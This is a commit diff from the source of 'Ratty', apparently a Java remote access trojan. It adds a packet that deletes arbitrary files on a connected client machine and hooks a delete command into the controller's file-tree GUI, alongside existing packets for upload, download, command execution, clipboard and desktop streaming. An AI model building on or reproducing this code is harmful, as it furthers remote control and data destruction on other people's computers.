Browse Source

Major changes

Files can now be deleted
master
Sogomn 9 years ago
parent
commit
9f41b9e14b
  1. 36
      Ratty/src/de/sogomn/rat/packet/DeletePacket.java
  2. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  3. 2
      Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
  4. 13
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

36
Ratty/src/de/sogomn/rat/packet/DeletePacket.java

@ -0,0 +1,36 @@
package de.sogomn.rat.packet;
import java.io.File;
import de.sogomn.rat.ActiveClient;
public final class DeletePacket implements IPacket {
private String path;
public DeletePacket(final String path) {
this.path = path;
}
public DeletePacket() {
this("");
}
@Override
public void send(final ActiveClient client) {
client.writeUTF(path);
}
@Override
public void receive(final ActiveClient client) {
path = client.readUTF();
}
@Override
public void execute(final ActiveClient client) {
final File file = new File(path);
file.delete();
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -15,7 +15,8 @@ public enum PacketType {
DOWNLOAD(10, DownloadPacket.class), DOWNLOAD(10, DownloadPacket.class),
UPLOAD(11, UploadPacket.class), UPLOAD(11, UploadPacket.class),
EXECUTE(12, ExecutePacket.class), EXECUTE(12, ExecutePacket.class),
FOLDER(13, NewFolderPacket.class);
FOLDER(13, NewFolderPacket.class),
DELETE(14, DeletePacket.class);
public final byte id; public final byte id;
public final Class<? extends IPacket> clazz; public final Class<? extends IPacket> clazz;

2
Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@ -269,7 +269,7 @@ public final class FileTreePanel {
return path; return path;
} }
public String getLastNodeClickedFolder() {
public String getLastNodePathFolder() {
final String path; final String path;
if (!lastNodeClicked.isLeaf()) { if (!lastNodeClicked.isLeaf()) {

13
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -11,6 +11,7 @@ import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver; import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.DeletePacket;
import de.sogomn.rat.packet.DesktopStreamPacket; import de.sogomn.rat.packet.DesktopStreamPacket;
import de.sogomn.rat.packet.DownloadPacket; import de.sogomn.rat.packet.DownloadPacket;
import de.sogomn.rat.packet.ExecutePacket; import de.sogomn.rat.packet.ExecutePacket;
@ -106,7 +107,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
if (file != null) { if (file != null) {
final String localPath = file.getAbsolutePath(); final String localPath = file.getAbsolutePath();
final FileTreePanel treePanel = serverClient.getTreePanel(); final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastNodeClickedFolder();
final String path = treePanel.getLastNodePathFolder();
final UploadPacket packet = new UploadPacket(localPath, path); final UploadPacket packet = new UploadPacket(localPath, path);
return packet; return packet;
@ -119,7 +120,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return packet; return packet;
} else if (command == FileTreePanel.NEW_FOLDER) { } else if (command == FileTreePanel.NEW_FOLDER) {
final FileTreePanel treePanel = serverClient.getTreePanel(); final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastNodeClickedFolder();
final String path = treePanel.getLastNodePathFolder();
final String name = JOptionPane.showInputDialog(null); final String name = JOptionPane.showInputDialog(null);
if (name != null && !name.isEmpty()) { if (name != null && !name.isEmpty()) {
@ -127,6 +128,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return packet; return packet;
} }
} else if (command == FileTreePanel.DELETE) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
final DeletePacket packet = new DeletePacket(path);
treePanel.removeFile(path);
return packet;
} }
return null; return null;

Loading…
Cancel
Save